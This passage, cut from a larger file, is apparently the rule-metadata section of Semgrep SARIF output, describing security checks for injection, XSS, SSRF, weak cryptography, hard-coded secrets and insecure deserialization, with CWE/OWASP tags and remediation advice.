copied."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","id":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","name":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","id":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","name":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"help":{"markdown":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking","id":"swift.insecure-communication.ats.ats-local.ATS-local-networking","name":"swift.insecure-communication.ats.ats-local.ATS-local-networking","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-local.ATS-local-networking"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","id":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","name":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","id":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","name":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"help":{"markdown":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","id":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","name":"python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.bind.avoid-bind-to-all-interfaces"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","id":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","name":"java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedispool-constructor-hardcoded-secret.jedispool-constructor-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"help":{"markdown":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Client-side SQL injection was found, which has different impacts depending on the SQL use-case. The impact may include the circumvention of local authentication mechanisms, obtaining of sensitive data from the app, or manipulation of client-side behavior."},"helpUri":"https://semgrep.dev/r/swift.sql.sqlilite-injection.swift-sqlite-injection","id":"swift.sql.sqlilite-injection.swift-sqlite-injection","name":"swift.sql.sqlilite-injection.swift-sqlite-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: swift.sql.sqlilite-injection.swift-sqlite-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"help":{"markdown":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"RSA key generation was identified where the key size was less than the industry standard recommendation of 2048 bits minimum. Use a key strength of at least 2048 bit, or stronger where appropriate."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","id":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","name":"swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-rsa-keysize.insecure-crypto-rsa-keysize"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [JavaScript command injection prevention](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)"},"helpUri":"https://semgrep.dev/r/javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","id":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","name":"javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.os.tainted-os-command-child-process-express.tainted-os-command-child-process-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-child-process.express-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. For more information, see [Command injection prevention for JavaScript ](https://semgrep.dev/docs/cheat-sheets/javascript-command-injection/)."},"helpUri":"https://semgrep.dev/r/javascript.express.express-child-process.express-child-process","id":"javascript.express.express-child-process.express-child-process","name":"javascript.express.express-child-process.express-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-child-process.express-child-process"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Key vault Secret should have a content type set"},"help":{"markdown":"Key vault Secret should have a content type set\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault_secret#content_type)\n - [https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets](https://docs.microsoft.com/en-us/azure/key-vault/secrets/about-secrets)\n","text":"Key vault Secret should have a content type set"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","id":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","name":"terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-content-type-for-secret.keyvault-content-type-for-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","id":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","name":"java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-add.tainted-ssrf-spring-add"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"help":{"markdown":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection)\n - [http://expressjs.com/en/4x/api.html#res.render](http://expressjs.com/en/4x/api.html#res.render)\n","text":"User controllable data `$REQ` enters `$RES.render(...)` this can lead to the loading of other HTML/templating pages that they may not be authorized to render. An attacker may attempt to use directory traversal techniques e.g. `../folder/index` to access other HTML pages on the file system. Where possible, do not allow users to define what should be  loaded in $RES.render or use an allow list for the existing application."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.res-render-injection.res-render-injection","id":"javascript.express.security.audit.res-render-injection.res-render-injection","name":"javascript.express.security.audit.res-render-injection.res-render-injection","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.res-render-injection.res-render-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","id":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","name":"kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-secret.apache-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep 